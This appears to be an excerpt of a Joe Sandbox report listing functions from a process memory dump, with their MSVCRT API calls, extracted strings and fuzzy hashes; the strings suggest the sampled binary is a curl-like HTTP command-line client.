Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strchrstrlen$strncpy
String ID:
API String ID: 257145408-0
Opcode ID: f1143adbd8c5045d54dc4ce9d18d3e9ca1ecbeaff1d2d4aec412c1692ef05ac1
Instruction ID: 74458681b06efd22b3ce7c79fdbe30833cd1f6c8e1c91819d13be921b6b4b694
Opcode Fuzzy Hash: f1143adbd8c5045d54dc4ce9d18d3e9ca1ecbeaff1d2d4aec412c1692ef05ac1
Instruction Fuzzy Hash: 483141F19102049BEF199F65A899B277AA8AF90304F098478EC498F247E779D914C7E2

Function 00395490 Relevance: 6.3, APIs: 5, Instructions: 84stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0039549D
strchr.MSVCRT ref: 003954F0
strchr.MSVCRT ref: 00395501
strlen.MSVCRT ref: 00395510
strlen.MSVCRT ref: 0039551F

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$strchr
String ID:
API String ID: 3013107155-0
Opcode ID: eceb11aa6beacdc0201a707b12503ed4d148ebc0fe81aaf961a593ff60bb587e
Instruction ID: f4ade70aa509388f3d604178133953a7256dedbf16c91edc78e3684c4f24e903
Opcode Fuzzy Hash: eceb11aa6beacdc0201a707b12503ed4d148ebc0fe81aaf961a593ff60bb587e
Instruction Fuzzy Hash: BA11C8D1B0075217DD2B29622C82A7F299D5B93346F060035F946D7243F546DD8583B2

Function 00382BD0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 148stringCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,0060ECBC,?), ref: 00382C49
strlen.MSVCRT ref: 00382C77
memcpy.MSVCRT(?,0060ECC2,?), ref: 00382D14

Strings

--, xrefs: 00382CE4

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memcpy$strlen
String ID: --
API String ID: 2619041689-385018399
Opcode ID: 80cb102daa3b28ad603a0d498925422dee7da390d246107fb39915e6b2c63a85
Instruction ID: aedddab345e64ec09e682c00b1cb2fb2d574df50e5a92dcd1d292d835d1a17b2
Opcode Fuzzy Hash: 80cb102daa3b28ad603a0d498925422dee7da390d246107fb39915e6b2c63a85
Instruction Fuzzy Hash: 40416AB0A083098FD319EE14D884B2BBBE5FB84714F1545ADE8948B242E671ED89CBD1

Function 003822F0 Relevance: 6.1, APIs: 4, Instructions: 140stringCOMMON

Download Yara Rule

APIs

_stati64.MSVCRT(00365779,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00382377
_access.MSVCRT ref: 00382387
strrchr.MSVCRT ref: 00382427
strrchr.MSVCRT ref: 00382438

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strrchr$_access_stati64
String ID:
API String ID: 2335015272-0
Opcode ID: a4538dbf7d4ffaacef95e127c645cb7ccd0bdc2554b303a73ed174bd1861cdc7
Instruction ID: 667af5292ff2d73c369b271e93c245c4d4b880617181a50a5a2fc6c1a947d57a
Opcode Fuzzy Hash: a4538dbf7d4ffaacef95e127c645cb7ccd0bdc2554b303a73ed174bd1861cdc7
Instruction Fuzzy Hash: 8851B2B0600702AFE711AF25CD89717BBE4BF40314F044638ED5987681E7B9E928CBE2

Function 00379880 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 0037991C

Strings

%sAuthorization: Digest %s, xrefs: 0037999C
Proxy-, xrefs: 0037998A
%.*s, xrefs: 0037992C

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strchr
String ID: %.*s$%sAuthorization: Digest %s$Proxy-
API String ID: 2830005266-541442569
Opcode ID: 0aa6613c90f94c90598395bbae15060b91a1e55b29c54dae9a9f31085d8cfe0b
Instruction ID: 7d52bc4b607c2f552f902d234f1b5b9afd019e7a1bc11d118829d2ac941f2212
Opcode Fuzzy Hash: 0aa6613c90f94c90598395bbae15060b91a1e55b29c54dae9a9f31085d8cfe0b
Instruction Fuzzy Hash: 2141E1311043019FE7258F14CC49B6BBBE9EF85308F09893DF98C5B261E775A959CB92

Function 0037E990 Relevance: 6.1, APIs: 4, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0037E9E7
strcpy.MSVCRT(-0000000E,?), ref: 0037EA07
strchr.MSVCRT ref: 0037EA12
strtol.MSVCRT ref: 0037EA27

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strchrstrcpystrlenstrtol
String ID:
API String ID: 1922017362-0
Opcode ID: 808fa6dc34a5bd002e318d6155de241b5ef0a87586e5282fdb7a26456ab219cf
Instruction ID: ef42a914b29edd5a8f8817595fde68facb08d77cb82aa6ea69acde5a44e064a5
Opcode Fuzzy Hash: 808fa6dc34a5bd002e318d6155de241b5ef0a87586e5282fdb7a26456ab219cf
Instruction Fuzzy Hash: 0E210BF3E0034067E722AA245C42B2B77ACAF55755F098464FD4D9B242F279D904C7B2

Function 00397140 Relevance: 6.1, APIs: 4, Instructions: 75filestringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0039718C
strcpy.MSVCRT(?,?), ref: 003971F5
fwrite.MSVCRT ref: 00397221
fwrite.MSVCRT ref: 00397233

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fwrite$strcpystrlen
String ID:
API String ID: 1266108990-0
Opcode ID: e6b63a72de1ac37498d2253c20167acf4946fe5fbe72f4b99941b8dc807800dc
Instruction ID: 62d8c284a5a227fb569f5747de245a18d891964ba778aca683d239936554d7d8
Opcode Fuzzy Hash: e6b63a72de1ac37498d2253c20167acf4946fe5fbe72f4b99941b8dc807800dc
Instruction Fuzzy Hash: 44210AB1A24602BFEB2A6B608C4AFE7B678BF41705F040618F59C141C2F37564A4CFE2

Function 00388EC0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 67stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00388EC9
strlen.MSVCRT ref: 00388ED7
memcpy.MSVCRT(00000000,?,00000000), ref: 00388F26

Strings

%s:, xrefs: 00388F09

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$memcpy
String ID: %s:
API String ID: 3396830738-64597662
Opcode ID: b382e3027ec8c16ce4f67601263f99fb082cb6494255a961bfdf96c57e3fc4b6
Instruction ID: e9c436cdac2a3852cb4fb6bfac53775c9a78cd7eceaf8d910b47aab7cfa040b2
Opcode Fuzzy Hash: b382e3027ec8c16ce4f67601263f99fb082cb6494255a961bfdf96c57e3fc4b6
Instruction Fuzzy Hash: CE110AB29041446FD726AF14EC86D977BA5EF95348F050138FA4D8B322FB22DA14C762

Function 003D9930 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(CONNECT,?,00000007,FFFFFDFC,?,?,00000000,003CCA82,00000000,?), ref: 003D99B4

Strings

HEAD, xrefs: 003D99CC
CONNECT, xrefs: 003D99AF
:met, xrefs: 003D996A

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memcmp
String ID: :met$CONNECT$HEAD
API String ID: 1475443563-2416668475
Opcode ID: b0c48e5767b651bed56311e18cb6d210206d23eeb40175c1568a8ce74e9a1718
Instruction ID: 61c9cef1732c47ae3e5e55af82d321c9e3ffdd6cb38509ec2f47a313912b220e
Opcode Fuzzy Hash: b0c48e5767b651bed56311e18cb6d210206d23eeb40175c1568a8ce74e9a1718
Instruction Fuzzy Hash: 2B1122B26047019FEB26CA65F4A4B7AB799AF85324F0A749FD5864F362C330DC84C621

Function 0036EA00 Relevance: 6.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 0036EA18
strtol.MSVCRT ref: 0036EA26
_errno.MSVCRT ref: 0036EA30
strlen.MSVCRT ref: 0036EA46

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _errno$strlenstrtol
String ID:
API String ID: 2305599799-0
Opcode ID: 4df23051e30244a6568db22232267b5ddf0e6cf91f2a2fb6d48f68a9b12dd1ec
Instruction ID: bd0465b1e56c7dce846a89a395b9f291367fc62681e283ba2ea855533f72b46c
Opcode Fuzzy Hash: 4df23051e30244a6568db22232267b5ddf0e6cf91f2a2fb6d48f68a9b12dd1ec
Instruction Fuzzy Hash: EDF0F0F7A043089BD720AE95DCC1B2B779CFBA2364F0A4070EA498B301F5319D1882B2

Function 0036E990 Relevance: 6.0, APIs: 4, Instructions: 43stringCOMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 0036E9A8
strtol.MSVCRT ref: 0036E9B6
_errno.MSVCRT ref: 0036E9C0
strlen.MSVCRT ref: 0036E9D4

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _errno$strlenstrtol
String ID:
API String ID: 2305599799-0
Opcode ID: 55c486902fb14710051a68925879b01af21021f9db4ddd29a0faa9a2a0e37379
Instruction ID: f69d95881b392d074bccf434985501083b17f5e0570a406f1fd1364b0efe88d3
Opcode Fuzzy Hash: 55c486902fb14710051a68925879b01af21021f9db4ddd29a0faa9a2a0e37379
Instruction Fuzzy Hash: B3F0F6F66043441FD7146A15DCC2A2B3BDCEF81314F060035FA858B301E6659C04C2B6

Function 00369BDA Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00369BEB
fclose.MSVCRT ref: 00369C08
fclose.MSVCRT ref: 00369C25
free.MSVCRT ref: 00369C37

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fclosefree
String ID:
API String ID: 271167838-0
Opcode ID: b2905a272aa7d97a52e4df7438944baecb9134ab2fc63fd6c38e1289b447822e
Instruction ID: 2e293caf86b951edec49be7605d8cf119da994e668c142b25bcdf7ae2d9cf70f
Opcode Fuzzy Hash: b2905a272aa7d97a52e4df7438944baecb9134ab2fc63fd6c38e1289b447822e
Instruction Fuzzy Hash: 9D011DF0500B408BEB71AF21E909707BAF4BF10304F044D2DE48A5AA91E77AF558CB56

Function 00367ED6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00367EF0
_strdup.MSVCRT(?), ref: 00367F11

Strings

SRP, xrefs: 003681E5

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: SRP
API String ID: 1865132094-1918707673
Opcode ID: d47b995714fe1493dde77faa41f21d2cdd72b9bab65304fae107f72b9538d1a2
Instruction ID: 4718aad9e74494760371a3cc102fa7ed74d6746c4aef2228ecf7cc47e7168dc5
Opcode Fuzzy Hash: d47b995714fe1493dde77faa41f21d2cdd72b9bab65304fae107f72b9538d1a2
Instruction Fuzzy Hash: 3811CEB0A04241CFEB12CF28C848B667BE5AB98314F15C279E849DB388DB36DD51CB61

Function 00367C8B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00367C96
_strdup.MSVCRT(?), ref: 00367CB9

Strings

list, xrefs: 00367CCF

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: list
API String ID: 1865132094-1154021400
Opcode ID: 8d0686d0b8bf60fc17d900716e21eb5e2ad10a3f1262a85a2c1b7f29f9cd0ef9
Instruction ID: 1e70487421345e247c2277903169cd0fcb2eae735881bdf71231539830bc4a05
Opcode Fuzzy Hash: 8d0686d0b8bf60fc17d900716e21eb5e2ad10a3f1262a85a2c1b7f29f9cd0ef9
Instruction Fuzzy Hash: B7110870A082008FD752CF18C84876AB7E8BB88344F198639E499DB2C4DF36DC51C752

Function 0036755D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00367568
_strdup.MSVCRT(?), ref: 00367582

Strings

--trace-ascii overrides an earlier trace/verbose option, xrefs: 003675A3

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: --trace-ascii overrides an earlier trace/verbose option
API String ID: 1865132094-2002733778
Opcode ID: 8eeeb97f96a36db127c5d6fc5f0ad8b9ddaac3bfda7e0c793bd4337352aee71a
Instruction ID: cdbffa15469fbd1a84a327585bdc95225f971e25de35b955d6a300a3a46c0814
Opcode Fuzzy Hash: 8eeeb97f96a36db127c5d6fc5f0ad8b9ddaac3bfda7e0c793bd4337352aee71a
Instruction Fuzzy Hash: AF11E1706042428BDB12CF19C849B6BB7F5FF84358F048624F546EB688CB35ED60CBA2

Function 00366705 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00366716
_strdup.MSVCRT(005F4582), ref: 0036672A

Strings

-v, --verbose overrides an earlier trace/verbose option, xrefs: 0036674C

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: -v, --verbose overrides an earlier trace/verbose option
API String ID: 1865132094-440421925
Opcode ID: 074daf4ddb8a59da351965b924b6957075c050ac5747f256bddc990c3c0c6c0f
Instruction ID: 69c6a4677b3cacf86ce651b3f45ffd9197a72c66afd2991dd46eead99fd8d152
Opcode Fuzzy Hash: 074daf4ddb8a59da351965b924b6957075c050ac5747f256bddc990c3c0c6c0f
Instruction Fuzzy Hash: 5311E3B1600205CFDB12CF08D945B5AB7F0FB88354F148225F8489B6D4CB35ED60CB92

Function 003674FF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0036750A
_strdup.MSVCRT(?), ref: 00367524

Strings

--trace overrides an earlier trace/verbose option, xrefs: 00367540

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: --trace overrides an earlier trace/verbose option
API String ID: 1865132094-4096414138
Opcode ID: 054785f2dc11e63dcc368558f840ff2efec75e414699e4b5656b7e181fc06007
Instruction ID: 0bf37b0b347dd758ac0da26694906881d60214ee425ef734edadf627141c3a37
